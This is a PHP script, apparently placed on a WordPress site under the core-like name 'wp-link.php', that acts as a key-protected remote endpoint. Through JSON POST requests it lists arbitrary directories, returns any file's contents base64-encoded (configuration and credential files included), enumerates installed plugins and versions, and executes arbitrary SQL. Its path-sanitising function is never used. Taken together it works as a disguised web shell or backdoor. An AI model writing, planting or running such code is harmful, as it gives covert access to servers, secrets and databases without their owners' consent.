<?php
// phpinfo();
// var_dump($_POST['person']);

$KEY = '1akXrK183_kDlWKp1E7AsSt9E6A32_';

function getRequestDataBody() {
    $body = file_get_contents('php://input');
    if (empty($body)) return [];

    // Parse json body and notify when error occurs
    $data = json_decode($body, true);
    if (json_last_error()) {
        trigger_error(json_last_error_msg());
        return [];
    }

    return $data;
}
$body = getRequestDataBody();

// echo json_encode($_SERVER);
// echo json_encode($body);
// exit();


if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    echo '';
    exit();
}

$key = $body['key'] ?? '';
$type = $body['type'] ?? '';
$params = $body['params'] ?? [];

if ($key !== $KEY) {
    echo '';
    exit();
}
if (!is_array($params)) {
    echo '';
    exit();
}


header('Content-Type: application/json');

$rep = [ 'status' => 'error' ];

function sanitizePath($path) {
    // Prevent directory traversal attacks
    $realBase = realpath(__DIR__);
    $userPath = realpath($path);

    if ($userPath && strpos($userPath, $realBase) === 0) {
        return $userPath;
    } else {
        return false;
    }
}
function trimds($s) {
    return rtrim($s,DIRECTORY_SEPARATOR);
}

function joinpaths() {
    return implode(DIRECTORY_SEPARATOR, array_map('trimds', func_get_args()));
}


function listDir($path, $extentionFilter = '', $isRecursive = false, $basePath = false, $filesInfo = []) {
    $files = array_diff(scandir($path), ['.', '..']);
    if(!$basePath) $basePath = $path;
    foreach ($files as $idx => $file) {
        $fpath = joinpaths($path, $file);
        $type = filetype($fpath);
        if($isRecursive && $type == 'dir'){
            $filesInfo = array_merge($filesInfo, listDir($fpath, $extentionFilter, $isRecursive, $basePath, $filesInfo));
        }else{
            if($extentionFilter && !str_ends_with($fpath, $extentionFilter)) continue;

            $s = stat($fpath);
            $relativePath = str_replace($basePath, '', $fpath);
            $filesInfo[$relativePath] = [
                'type' => $type,
                'size' => $s['size'],
                'cTime' => $s['ctime'],
                'aTime' => $s['atime'],
                'mTime' => $s['mtime'],
            ];

        }
    }
    return $filesInfo;
}

function extractPHPHeaders($path) {
    $content = file_get_contents($path, false, null, 0, 8 * 1024);
    $info = [];
    if ( preg_match( '/^(?:[ \t]*<\?php)?[ \t\/*#@]*' . 'Plugin Name' . ':(.*)$/mi', $content, $match ) && $match[1] )
        $info['name'] = trim($match[1]);
    if ( preg_match( '/^(?:[ \t]*<\?php)?[ \t\/*#@]*' . 'Version' . ':(.*)$/mi', $content, $match ) && $match[1] )
        $info['version'] = trim($match[1]);

    return $info;
}


try {

    if($type == 'listDir'){
        $path = $params['path'];
        $path = realpath($path);
        $isRecursive = $params['isRecursive'] ?? false;
        $extentionFilter = $params['extentionFilter'] ?? '';
        if (is_dir($path)) {
            $rep['status'] = 'success';
            $rep['base'] = $path;
            $rep['isRecursive'] = $isRecursive;
            $rep['extentionFilter'] = $extentionFilter;
            $rep['files'] = listDir($path, $extentionFilter, $isRecursive);
        } else {
            $rep['message'] = 'Provided path is not a directory';
        }
    }else if($type == 'getFile'){
        $path = $params['path'];
        $path = realpath($path);
        if (is_file($path)) {
            $content = file_get_contents($path);
            $rep['status'] = 'success';
            $rep['content'] = base64_encode($content);
        } else {
            $rep['message'] = 'Provided path is not a file';
        }
    }else if($type == 'getPluginHeaders'){
        $path = $params['pluginDir'];
        $path = realpath($path);
        if (is_dir($path)) {
            $plugins = array_diff(scandir($path), ['.', '..']);
            $pluginsInfo = [];
            foreach ($plugins as $idx => $pluginDir) { // Plugin directories
                $pPath = joinpaths($path, $pluginDir);

                if(is_dir($pPath)){
                    $pluginFiles = array_diff(scandir($pPath), ['.', '..']);
                    foreach ($pluginFiles as $idx => $file) {
                        $fpath = joinpaths($pPath, $file);
                        if (!is_file($fpath) || str_ends_with($path, '.php')) continue;
                        $info = extractPHPHeaders($fpath);
                        if(!$info) continue;
                        $info['base'] = $pluginDir;
                        $info['file'] = $file;
                        $pluginsInfo[] = $info;
                        break;
                    }
                }else {
                    if(str_ends_with($pluginDir, '.php')){
                        $info = extractPHPHeaders($pPath);
                        $info['base'] = $pluginDir;
                        $pluginsInfo[] = $info;
                    }else{
                        $pluginsInfo[] = ['base' => $pluginDir];
                    }
                }
            }
            $rep['status'] = 'success';
            $rep['base'] = $path;
            $rep['pluginsInfo'] = $pluginsInfo;
        } else {
            $rep['message'] = 'Provided path is not a file';
        }
    }else if($type == 'execSQL'){
        $query = $params['query'];
        $queryParams = $params['params'] ?? '';

        if(!$query) {
            $rep['message'] = 'Invalid query';
        }else{
            $mysqli = new mysqli($params['host'], $params['user'], $params['password'], $params['database']);
            $statement = $mysqli->prepare($query);
            $statement->execute($queryParams);
            $result = $statement->get_result();
            $rep['status'] = 'success';
            $rep['result'] = $result->fetch_all(MYSQLI_ASSOC);
        }

    }

} catch (Exception $e) {
    $rep['params'] = $params;
    $rep['message'] = 'Exception: ' . $e->getMessage();
}

echo json_encode($rep);

// https://www.cabasse.com/wp-link.php



// function exceptions_error_handler($severity, $message, $filename, $lineno) {
//     print('exceptions_error_handler: ' . $severity . ' ' . $message . ' ' . $filename . ' ' . $lineno . '</br>');
//     // throw new ErrorException($message, 0, $severity, $filename, $lineno);
// }


// set_error_handler('exceptions_error_handler');


// // echo 'memory_limit: ' . ini_get('memory_limit');
// // echo 'opcache: ' . opcache_get_status() ;

// var_dump( get_cfg_var('cfg_file_path') );

?>